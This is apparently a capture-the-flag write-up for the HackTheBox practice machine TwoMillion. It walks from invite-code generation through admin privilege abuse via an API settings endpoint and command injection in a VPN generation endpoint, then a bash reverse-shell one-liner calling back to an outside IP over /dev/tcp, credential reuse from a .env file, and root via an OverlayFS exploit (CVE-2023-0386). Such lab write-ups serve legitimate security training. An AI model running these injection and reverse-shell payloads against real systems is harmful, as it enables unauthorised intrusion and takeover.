Post

TwoMillion

TwoMillion

Note: As part of the HackTheBox Free Tier since day one, this machine is fully accessible—go spin it up and practice along!

Summary

TwoMillion is a nostalgic Linux machine that brings back the old-school HackTheBox platform, showing how hidden APIs and an outdated kernel can lead to a full compromise. The initial foothold is gained by bypassing the classic invite-code to register an account, abusing API endpoints to elevate to Administrator, and exploiting a command injection flaw in the VPN generation endpoint for a shell. After pivoting to the admin user via password reuse found in a .env file, we easily escalate to root by weaponizing an OverlayFS vulnerability (CVE-2023-0386).

Scanning

Using rustscan to get all tcp ports and pass them to nmap

1
rustscan -a 10.129.229.66 --ulimit 5000 -- -n -Pn -sCV -vvv -oN 2million.out

TCP Ports Rustcan in action

We have a domain to add into our /etc/hosts file

Scan Output Scan Output

Web Enum - HTB Old Challenge

We are in front of the old-fashioned HackTheBox website, it looks similar and has the same challenge to register an account.

HackTheBox old-school HackTheBox website

Here is the login panel but we don’t have a valid account to use it.

Login Panel Login Panel

Making our Invite Code

There is a function similar to the old-one HackTheBox used to have in their page to make us create an invitation code to register an account.

Join HTB Join HTB

Invite Endpoint Invite Endpoint

If we check for the requested files when loading this /invite endpoint, we noticed there is an interesting js file.

JS File JS File

Let’s check it

1
curl -s http://2million.htb/js/inviteapi.min.js

inviteapi inviteapi file

Looks like it has been obfuscated but we can use online resources to get the actual info. js-beautify

JS Beautifier JS Beautifier

According to the code, we need to send a POST request to /api/v1/invite/how/to/generate. They are using ROT13 to hide the information.

1
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | jq

ROT13 ROT13

For this next step you may use online tools but ROT13 can be decoded with the following command:

1
2
❯ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | jq '.data.data' -r | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
In order to generate the invite code, make a POST request to /api/v1/invite/generate

Finally we have another endpoint to create an invitation code

1
curl -s -X POST http://2million.htb/api/v1/invite/generate | jq

B64 Code Generate B64 codes

In this case, they are using Base64 and this is even simpler to decode as shown below:

1
2
❯ curl -s -X POST http://2million.htb/api/v1/invite/generate | jq '.data.code' -r | base64 -d
Z6C2X-45E1A-Q2NP5-T77PM

We have a method to create valid invitation codes, you can verify them using this endpoint /api/v1/invite/verify

1
curl -s -X POST http://2million.htb/api/v1/invite/verify -d 'code=LZGP2-VWMK2-FXNSF-V25RW' | jq

Verify Verify Invite Code

Initial Access - Command Injection

Once having a valid invitation code, we will redirected to the registration panel. Create your account to continue!

Account Setup Account setup

There is no much useful to do in this dashboard. however now that we are authenticated we can continue enumerating the API.

HackTheBox HackTheBox old dashboard

API Enumeration

One thing to notice is that when we have no creds we can only access some functions of the API, but now that we are authenticated there are more endpoints to test.

Unauthenticated Unauthenticated

We worked with almost all the user endpoints so let’s target the admin ones.

Authenticated Authenticated

For instance, /api/v1/admin/vpn/generate needs admin privileges to access it. So let’s move on to the other ones to check what can be done.

You need to get the session cookie after logging into the website to use it with curl.

1
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' -I

Unauthorized 401 Unauthorized

Update user settings

To check if our cookie is valid we need to send a request to /api/v1/user/auth and we will get some info including our privilege.

1
curl -s -X GET http://2million.htb/api/v1/user/auth -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' | jq

User info User info

From the previous step, we know there is an update function so let’s check if we can do something with it.

1
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' | jq

Update Need an email

The app is asking for an email, we would add ours and test again. Then it asked for the is_admin parameter which previously we saw it was 0 in our account, we would change it to 1 and test one more time.

1
2
3
4
5
6
7
8
# Testing with our email
❯ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' -d '{"email": "flygerth@hackthebox.com"}' | jq
# Chaging our admin status
❯ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' -d '{"email": "flygerth@hackthebox.com", "is_admin": 1}' | jq
# Validate our info
❯ curl -s -X GET http://2million.htb/api/v1/user/auth -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' | jq
# We have an admin account
❯ curl -s -X GET http://2million.htb/api/v1/admin/auth -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' | jq

Update User Update User

Shell as www-data

Now that we have an admin account, we can continue testing the /api/v1/admin/vpn/generate endpoint which was blocked before. It needs a username to work as intended:

1
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' -d '{"username": "admin"}'

Generate VPN Generate VPN File

The previous output looks like they are creating a vpn file, since we control the username parameter we could try a command injection as shown below.

1
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' -d '{"username": "; COMMAND_HERE #"}'

RCE RCE

We got RCE so now it’s time to get a shell on the box using the following bash one-liner.

1
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -b 'PHPSESSID=me1dohqrbapi61qhnkv9j7j3hu' -d '{"username": "; bash -c \"bash -i >& /dev/tcp/10.10.15.67/443 0>&1\" #"}'

www-data Initial Access

Privilege Escalation - CVE-2023-0386

Once getting a shell on the target we saw a .env file which stores creds for the admin user. Let’s validate them via ssh:

1
cat /etc/passwd | grep sh$

Stored creds Stored creds

Notice this creds worked but also this user has received a mail.

1
ssh admin@10.129.229.66

Mail We have mail

OverlayFS Exploitation

In Linux, mails are commonly stored under /var/mail/username.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration.
While we're partially down, can you also upgrade the OS on our web host?
There have been a few serious Linux kernel CVEs already this year.
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Search Simple Search

Linux OverlayFS Local Privilege Escalation (CVE-2023-0386): A critical flaw in the Linux kernel’s OverlayFS subsystem that allows a local user to bypass permissions. By abusing how layered file systems handle setuid files, an attacker can elevate their privileges from a standard user to root.

To abuse this flaw we are going to use this GitHub Repository following these steps:

  1. Clone the repository and transfer it to the target.
  2. Compile everything needed using make all
  3. In your current ssh session run ./fuse ./ovlcap/lower ./gc.
  4. Open another ssh session to run ./exp and you will escalate to root.

PWNED Shell as root

That’s all for the box but there is one more challenge. There is a thank_you.json file on root’s home directory that you need to decode. You may want to use CyberChef to get the message but I will get decoded content here.

1
2
3
4
5
6
7
8
9
10
11
12
13
Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team

Flags

  • user.txt
1
2
cat /home/admin/user.txt
5b5**************************2e1
  • root.txt
1
2
cat /root/root.txt
aa7**************************b2d

Huge thanks for stopping by! See you on the next writeup. 🚀

This post is licensed under CC BY 4.0 by the author.